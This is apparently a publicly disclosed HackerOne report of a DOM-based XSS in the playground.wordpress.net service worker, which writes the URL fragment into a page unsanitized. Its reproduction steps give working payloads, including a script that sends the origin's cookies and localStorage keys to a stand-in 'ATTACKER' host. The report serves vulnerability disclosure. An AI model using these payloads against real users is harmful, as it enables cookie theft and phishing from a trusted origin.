HexBrain

WordPress · Report #3863343

DOM-based XSS in playground.wordpress.net (/scope:*/wp-includes/empty.html) lets any attacker run JavaScript on the origin via a single crafted link

Validstatus
lowseverity
10upvotes
11 Nov 2026disclosed

How it was found

{F6253117}

Summary

A single click on an attacker-crafted playground.wordpress.net link executes arbitrary JavaScript in the site's own origin. The origin's service worker synthesizes a page that runs document.write(decodeURIComponent(location.hash)), so the URL fragment is written into the document with no sanitization and no Content-Security-Policy. I confirmed live execution on the real top-level origin and cross-origin exfiltration of the origin's document.cookie and localStorage to an external server. The payload lives entirely in the URL fragment (#…), so it never reaches the server and is invisible to server logs and WAFs. No authentication is required.

Vulnerability Details

The service worker https://playground.wordpress.net/sw.js (function dc()) intercepts any request whose path ends /wp-includes/empty.html beneath a /scope:<id>/ prefix and returns this static, no-CSP page:

<!doctype html><script>
  const hash = window.location.hash.substring(1);
  if (hash) document.write(decodeURIComponent(hash));
</script>

location.hash is attacker-controlled → decodeURIComponent → document.write = a DOM-based XSS sink executing on the real playground.wordpress.net origin. The <id> in /scope:<id>/ is arbitrary and unvalidated. Upstream WordPress ships wp-includes/empty.html as a blank file; this executable behavior is introduced by Playground’s service worker.

Steps to Reproduce

  1. In any browser, open https://playground.wordpress.net/ once and let it load. This registers/activates the service worker — the precondition is satisfied for anyone who has ever used Playground.
  2. In the same browser, open (or click a link to): https://playground.wordpress.net/scope:x/wp-includes/empty.html#%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E → alert("playground.wordpress.net") fires on the real origin. Verified: window.top === window.self (top frame, not the sandbox iframe) and no CSP on the response.
  3. Data-theft proof — open the same path with this fragment (URL-encoded): #<script>fetch('https://ATTACKER/?c='+encodeURIComponent(document.cookie)+'&l='+encodeURIComponent(Object.keys(localStorage)))</script> → my listener received the request with header Origin: https://playground.wordpress.net, carrying the origin's cookies and localStorage keys. Confirmed via Burp Collaborator (cross-origin exfiltration succeeded — no CSP connect-src restriction).

Impact

Any attacker who gets a victim (who has previously used Playground — the tool's entire user base) to click one link runs arbitrary JavaScript in the playground.wordpress.net origin. The attacker reads and exfiltrates all origin-scoped storage, tampers with the victim's persisted Playground sites, performs actions as the victim, and can serve convincing phishing from a trusted wordpress.net origin.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original